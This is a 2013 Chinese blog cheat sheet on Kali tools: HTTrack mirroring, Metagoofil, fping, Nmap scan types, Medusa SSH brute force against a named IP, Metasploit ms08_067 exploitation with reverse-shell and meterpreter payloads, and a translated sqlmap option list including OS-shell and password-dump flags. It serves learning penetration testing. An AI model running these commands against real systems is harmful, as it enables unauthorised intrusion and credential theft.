黑客 专题一 常用工具
分类: Kali 2013-10-14 17:55 304人阅读 评论(0) 收藏 举报
黑客Kali
目录(?)[+]
一.HTTrack 网站复制
1.1安装
[plain] view plaincopy
apt-get install httrack webhttrack
1.2 常用命令
[plain] view plaincopy
httrack http://www.documentfoundation.org -* +*.htm* +*.pdf -O /home/floeff/websites
httrack http://www.leiyanhui.com/ -O E:\test\ -r15 -E3600 -m2000000,300000 -M1000000000 --ext-depth 1 -o0 -s0 -F "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)" -%F "" -*.* +*.htm* +*.shtm* +*.php* +*.asp* +*.do +*.jsp +*.css +*.swf +*.js +*.jp* +*.gif +*.bmp +*.png -N100
常用存放规则
-N100 直接放到目录根下面,默认站点结构,并且外部站点也放进去
-N1004 直接放到目录根下面,文件根据后缀放置,并且外部站点的文件也一起放进去
-N1005 直接放到目录下,html放到html文件夹,其他文件也按照后缀放到单独文件夹,并且外部站点的文件也一起放进去
文件过滤(白名单):
-*.* +*.htm* +*.shtm* +*.cgi +*.py +*.php* +*.phtm* +*.asp* +*.do +*.jsp +*.css +*.swf +*.js +*.jp* +*.gif +*.bmp +*.png
注意,多个任务不能放置到同一个目录里面,不然会提示文件夹锁定
另外 对css中 background:#fff url(images/head_bg.gif) repeat-x; 不能识别其中的图片
js和swf中的图片 几乎全部无法识别
小技巧:
在命令行正在执行的时候,连续按下2-4次回车可以看到滚动日志
限制类参数
-r50 50层
-E3600 限制时间为3600秒之内
-m50000000 限制非html文件为50m以内
-m50000000,100000 限制非html文件为50M html文件为100K
-M1000000000 限制总体积为1G
-A100000000 限制速度为100m/s
-G100000000 下载1G后暂停
%e1 前面没有横线,限制外链深度为5层;不知道为何无效,所以用 --ext-depth 1的方法替代了
性能参数
-%c20 每秒20个连接
-c128 文件句柄限制,文档说与操作系统有关系,不一定越大越好
-T30 连接超时选项
-R5 重试次数限制,暂时不确定超限后是终止任务还是终止文件
-J10 速度不到10b/s的时候 放弃下载
-H0 不终止任务 -H1 超时的时候终止任务 -H2 速度太慢的时候 -H3 速度太慢或者超时
镜像参数
-N "%h%p/%n.%t" 文件保存路径
-L1 |--long-names禁止使用长文件名,防止url过长或者文件系统不支持
-K 保存原来的链接,禁止修改链接地址
-x 好像是说外部链接替换成提示消息,应该是和允许下载外链有冲突
-o0 智能识别404页面,防止保存大量没用的404页面地址
%x0 include 好像是说可以通过md5校验,避免重复的文件
蜘蛛参数
-b0 禁用cookis 默认是启用
-s0 忽略meta-tags and robots.txt -s1和-s2是遵守,但怎么遵守的没看明白
浏览参数
-F "Mozilla 1.0, Sparc, Solaris 23.54.34" 不需要解释
-%F "Mirrored [from host %s [file %s [at %s]]]" 底部代码
详情见http://www.httrack.com/html/fcguide.html
二.Metagoofil 信息收集
修改/usr/share/metagoofil/discovery中的googlesearch.py的内容如下

[python] view plaincopy
#self.server="www.google.com"
#self.hostname="www.google.com"
self.server="www.google.com.hk"
self.hostname="www.google.com.hk"

#self.quantity="100"
self.quantity="10"
# 这个值是google返回每页中有多少条结果,发现太大了在后面 do_search_files方法中self.results = h.getfile().read()会卡住不动,设置为10了有时都还有这种情况,不明白为什么。
#改了这个值后在process_files中要做相应修改
#self.counter+=100
self.counter+=10

myparser.py中解析google返回的结果(提取文件链接)的正则式也要做相应修改:
[python] view plaincopy
#reg_urls = re.compile('<a href="(.*?)"')
reg_urls = re.compile('<a href="[^">]*?/url\?q=([^">]*?)&sa=U.*?"')

三.FPing 判断主机在线
详情见http://www.fping.org/fping.1.html

[plain] view plaincopy
fping -a -g 192.168.0.1/24 >hosts.txt

四.Nmap 端口扫描
4.1 TCP 扫描
完成三次握手,最稳定.
[plain] view plaincopy
nmap -sT -p- -PN 172.16.45.135

-sT 执行TCP 扫描

-p- 扫描所有端口,而不是常用的1000个端口

-PN 跳过主机发现过程,扫描所有地址

可以使用172.16.45-254 指定一个范围或者使用-iL path_to_the_text_file
4.2 SYN 扫描
完成两次握手,速度较快,隐性扫描,相当于打给别人,对方刚说喂,就挂了.是默认的扫描方式.

[plain] view plaincopy
nmap -sS -p- -PN 172.16.45.135

4.3 UDP 扫描
扫描速度非常慢,DHCP,DNS,SNMP,TFTP使用UDP服务

[plain] view plaincopy
nmap -sUV 172.16.45.36

-sV 用于版本扫描,精确UDP扫描结果

4.4 Xmas扫描
发送非常规的数据包,针对的是Linux或Unix操作系统,Windows 一般无效

[plain] view plaincopy
nmap -sX -p- -PN 172.16.45.129

4.5 Null 扫描
发送NULL,与Xmas 相反,关闭的端口会发回一个RST数据包。只有那些100%遵循TCP RFC的系统有效,Windows 一般无效
[plain] view plaincopy
nmap -sN -p- -PN 172.16.45.129
4.6 好用的参数

-T 0~5 5最快,为避免被检测到,设置速度

-O 用于识别操作系统

五.Medusa 密码破解
支持IMAP,FTP,MySQL,POP3,SNMP,SSH,Telnet,VNC.
[plain] view plaincopy
medusa -h 202.38.128.6 -u root -P nmap.lst -M ssh

六.Metasploit
[plain] view plaincopy
msfconsole 打开控制台

[plain] view plaincopy
msf > msfupdate ;更新需要经常执行
msf > search ms08-067 ;查找漏洞,Rank 评价成功率

[plain] view plaincopy
msf>use windows/smb/ms08_067_netapi
msf>show payloads
msf>set payload windows>vncinject/reverse_tcp
msf>show options 查看所需要配置的选项
msf>set RHOST 远程靶机ip
msf>set LHOST 发起攻击ip
msf>show options 查看是否配置成功
msf>exploit 发起攻击
Windows 可用的载荷

[plain] view plaincopy
windows/adduser 创建新用户
windows/exec 执行windows二进制文件
windows/shell_bind_tcp 正向shell
windows/shell_reverse_tcp 反向shell
windows/meterpreter/bind_tcp 安装meterpreter
windows/meterpreter/reverse_tcp 反向安装meterpreter
windows/vncinject/bind_tcp 正向VNC
windows/vncinject/reverse_tcp 反向VNC
七.Sqlmap使用
[plain] view plaincopy
Options(选项):
--version 显示程序的版本号并退出
-h, --help 显示此帮助消息并退出
-v VERBOSE 详细级别:0-6(默认为1)

Target(目标):
以下至少需要设置其中一个选项,设置目标URL。

-d DIRECT 直接连接到数据库。
-u URL, --url=URL 目标URL。
-l LIST 从Burp或WebScarab代理的日志中解析目标。
-r REQUESTFILE 从一个文件中载入HTTP请求。
-g GOOGLEDORK 处理Google dork的结果作为目标URL。
-c CONFIGFILE 从INI配置文件中加载选项。

Request(请求):
这些选项可以用来指定如何连接到目标URL。

--data=DATA 通过POST发送的数据字符串
--cookie=COOKIE HTTP Cookie头
--cookie-urlencode URL 编码生成的cookie注入
--drop-set-cookie 忽略响应的Set - Cookie头信息
--user-agent=AGENT 指定 HTTP User - Agent头
--random-agent 使用随机选定的HTTP User - Agent头
--referer=REFERER 指定 HTTP Referer头
--headers=HEADERS 换行分开,加入其他的HTTP头
--auth-type=ATYPE HTTP身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
--auth-cred=ACRED HTTP身份验证凭据(用户名:密码)
--auth-cert=ACERT HTTP认证证书(key_file,cert_file)
--proxy=PROXY 使用HTTP代理连接到目标URL
--proxy-cred=PCRED HTTP代理身份验证凭据(用户名:密码)
--ignore-proxy 忽略系统默认的HTTP代理
--delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒
--timeout=TIMEOUT 等待连接超时的时间(默认为30秒)
--retries=RETRIES 连接超时后重新连接的时间(默认3)
--scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
--safe-url=SAFURL 在测试过程中经常访问的url地址
--safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL

Optimization(优化):
这些选项可用于优化SqlMap的性能。

-o 开启所有优化开关
--predict-output 预测常见的查询输出
--keep-alive 使用持久的HTTP(S)连接
--null-connection 从没有实际的HTTP响应体中检索页面长度
--threads=THREADS 最大的HTTP(S)请求并发量(默认为1)

Injection(注入):
这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads和可选篡改脚本。

-p TESTPARAMETER 可测试的参数(S)
--dbms=DBMS 强制后端的DBMS为此值
--os=OS 强制后端的DBMS操作系统为这个值
--prefix=PREFIX 注入payload字符串前缀
--suffix=SUFFIX 注入payload字符串后缀
--tamper=TAMPER 使用给定的脚本(S)篡改注入数据

Detection(检测):
这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。

--level=LEVEL 执行测试的等级(1-5,默认为1)
--risk=RISK 执行测试的风险(0-3,默认为1)
--string=STRING 查询时有效时在页面匹配字符串
--regexp=REGEXP 查询时有效时在页面匹配正则表达式
--text-only 仅基于在文本内容比较网页

Techniques(技巧):
这些选项可用于调整具体的SQL注入测试。

--technique=TECH SQL注入技术测试(默认BEUST)
--time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
--union-cols=UCOLS 定列范围用于测试UNION查询注入
--union-char=UCHAR 用于暴力猜解列数的字符

Fingerprint(指纹):
-f, --fingerprint 执行检查广泛的DBMS版本指纹

Enumeration(枚举):
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己
的SQL语句。
-b, --banner 检索数据库管理系统的标识
--current-user 检索数据库管理系统当前用户
--current-db 检索数据库管理系统当前数据库
--is-dba 检测DBMS当前用户是否DBA
--users 枚举数据库管理系统用户
--passwords 枚举数据库管理系统用户密码哈希
--privileges 枚举数据库管理系统用户的权限
--roles 枚举数据库管理系统用户的角色
--dbs 枚举数据库管理系统数据库
--tables 枚举的DBMS数据库中的表
--columns 枚举DBMS数据库表列
--dump 转储数据库管理系统的数据库中的表项
--dump-all 转储所有的DBMS数据库表中的条目
--search 搜索列(S),表(S)和/或数据库名称(S)
-D DB 要进行枚举的数据库名
-T TBL 要进行枚举的数据库表
-C COL 要进行枚举的数据库列
-U USER 用来进行枚举的数据库用户
--exclude-sysdbs 枚举表时排除系统数据库
--start=LIMITSTART 第一个查询输出进入检索
--stop=LIMITSTOP 最后查询的输出进入检索
--first=FIRSTCHAR 第一个查询输出字的字符检索
--last=LASTCHAR 最后查询的输出字字符检索
--sql-query=QUERY 要执行的SQL语句
--sql-shell 提示交互式SQL的shell

Brute force(蛮力):
这些选项可以被用来运行蛮力检查。

--common-tables 检查存在共同表
--common-columns 检查存在共同列

User-defined function injection(用户自定义函数注入):
这些选项可以用来创建用户自定义函数。

--udf-inject 注入用户自定义函数
--shared-lib=SHLIB 共享库的本地路径

File system access(访问文件系统):
这些选项可以被用来访问后端数据库管理系统的底层文件系统。

--file-read=RFILE 从后端的数据库管理系统文件系统读取文件
--file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
--file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径

Operating system access(操作系统访问):
这些选项可以用于访问后端数据库管理系统的底层操作系统。

--os-cmd=OSCMD 执行操作系统命令
--os-shell 交互式的操作系统的shell
--os-pwn 获取一个OOB shell,meterpreter或VNC
--os-smbrelay 一键获取一个OOB shell,meterpreter或VNC
--os-bof 存储过程缓冲区溢出利用
--priv-esc 数据库进程用户权限提升
--msf-path=MSFPATH Metasploit Framework本地的安装路径
--tmp-path=TMPPATH 远程临时文件目录的绝对路径

Windows注册表访问:
这些选项可以被用来访问后端数据库管理系统Windows注册表。

--reg-read 读一个Windows注册表项值
--reg-add 写一个Windows注册表项值数据
--reg-del 删除Windows注册表键值
--reg-key=REGKEY Windows注册表键
--reg-value=REGVAL Windows注册表项值
--reg-data=REGDATA Windows注册表键值数据
--reg-type=REGTYPE Windows注册表项值类型

General(一般):

这些选项可以用来设置一些一般的工作参数。
-t TRAFFICFILE 记录所有HTTP流量到一个文本文件中
-s SESSIONFILE 保存和恢复检索会话文件的所有数据
--flush-session 刷新当前目标的会话文件
--fresh-queries 忽略在会话文件中存储的查询结果
--eta 显示每个输出的预计到达时间
--update 更新SqlMap
--save file保存选项到INI配置文件
--batch 从不询问用户输入,使用所有默认配置。

Miscellaneous(杂项):
--beep 发现SQL注入时提醒
--check-payload IDS对注入payloads的检测测试
--cleanup SqlMap具体的UDF和表清理DBMS
--forms 对目标URL的解析和测试形式
--gpage=GOOGLEPAGE 从指定的页码使用谷歌dork结果
--page-rank Google dork结果显示网页排名(PR)
--parse-errors 从响应页面解析数据库管理系统的错误消息
--replicate 复制转储的数据到一个sqlite3数据库
--tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
--wizard 给初级用户的简单向导界面
//--http://blog.csdn.net/ghosttzs--//

更多 0
上一篇:Django 1.5.4 专题18 User Profile
下一篇:python 网络编程

HTTrack 网站复制相关推荐

  1. 通用类 RemoteUpload 远程上传从其他网站复制过来的图片

    /// <summary>/// 远程上传从其他网站复制过来的图片/// </summary>public class RemoteUpload{/// <summary ...

  2. 去除某些网站 复制粘贴尾巴

    最近发现博客网站复制网页内容 会带一个网页推广小尾巴 很直接影响工作效率 稍加思索发现应该是js中监控了ctrl+c 禁用js是不是就没有了呢 方法1:谷歌浏览器直接禁用 F12 - F1 - Pre ...

  3. EXCEL2021 网站复制内容突然粘贴不了到单元格

    环境: Excel® LTSC MSO (16.0.14332.20336) 问题描述: EXCEL2021 网站复制内容突然粘贴不了到单元格,点击粘贴无反应,关闭表格再重新打开才行 解决方案: 1. ...

  4. 网站复制工具:HTTrack

    HTTrack简介: HTTrack是Kali中内置的工具,主要用于克隆网站.渗透测试人员可以利用它来在自主可控制的环境中查看该网站的完整内容:所有离线文件.同时可以利用该网站的副本来开发假冒的钓鱼网 ...

  5. Kali使用httrack完整复制网站

    1.在kaili中创建 一个存放目录 root@kali:~# mkdir dir #创建一个目录root@kali:~# ls #查看创建的目录 公共 模板 视频 图片 文档 下载 音乐 桌面 di ...

  6. kali-工具集之Httrack:复制网站

    HTTrack 在kali Linux系统中启动终端 输入:Httrack,如果显示welcome 表示已经安装好httrack,可以进行下边的操作,如果没有安装好,请输入一下内容"apt- ...

  7. HTTrack 网站备份工具

    HTTrack可以克隆指定网站-把整个网站下载到本地.可以用在离线浏览上,免费的噢! 强大的Httrack类似于搜索引擎的爬虫,也可以用来收集信息.记得之前写过篇http://www.cnblogs. ...

  8. 知乎-知乎网站-复制文字-破解知乎复制

    = = = 最近找到个文想copy下来,知乎网站居然不让复制. 随手试了几个js的方法想破掉,发现哥们儿知乎做了不少功夫.其实是可以理解的,版权么. 百度破解知乎复制的方法和插件,居然没有. 百度里面 ...

  9. HTTrack(网站镜像工具)

    1.首先打开kali 中的这个工具 Web信息收集工具HTTrack ,会直接出现出现使用语法. 对于传统的像存在Robots.txt的网站,如果程序运行的时候不做限制,在默认的环境下程序不会把网站镜 ...

最新文章

  1. 一文读懂PID控制算法
  2. 语言模型微调领域有哪些最新进展?一文详解最新趋势
  3. 【C语言】逗号运算符 ,
  4. 针对eclipse调式代码时打断点出现斜杠的解决方法
  5. 单进程epoll版-TCP服务器(python 版)
  6. Impala之加载HBase数据
  7. 电脑键盘打字手法_电脑快速打字技巧,送个每一位初学者
  8. 斯坦福计算机科学博士研究方向,美国人工智能专业Top10名校推荐
  9. 解决——完美解决Anaconda打开Spyder5报错:link image0 hasn’t been detected!
  10. 关系模式无损分解的测试方法
  11. 第十六届“振兴杯”计算机网络管理员赛项理论参考题库(2)多选
  12. 巴曙松:寻找可持续的经济复苏
  13. 初探:使用Jest进行React单元测试
  14. cad相贯展开图lisp_cad相贯线的画法
  15. FPGA串口接收学习
  16. centos7配置ip地址(centos7配置ip地址)
  17. 计算机pm,PM、PMP、PMO分别都是什么 以及三者的关系
  18. TI毫米波雷达AWR1642测试
  19. 互联网环境下决策支持系统的发展变迁
  20. crmebPro多门店企业微信配置文档

热门文章

  1. 数据科学猫:无监督学习的定义与模型
  2. Linux安装Gitblit
  3. 退役军人信息化服务平台订花开发服务流程
  4. xampp中tomcat无法启动
  5. 动手学数据分析(一)- 数据加载及探索性数据分析
  6. Spring Boot自定义starters
  7. 大学生网页作业设计HTML,库里网页
  8. springboot游戏虚拟道具交易平台
  9. java 设置数组长度_java如何增加数组长度
  10. 突破QQ2009的nprotect键盘加密技术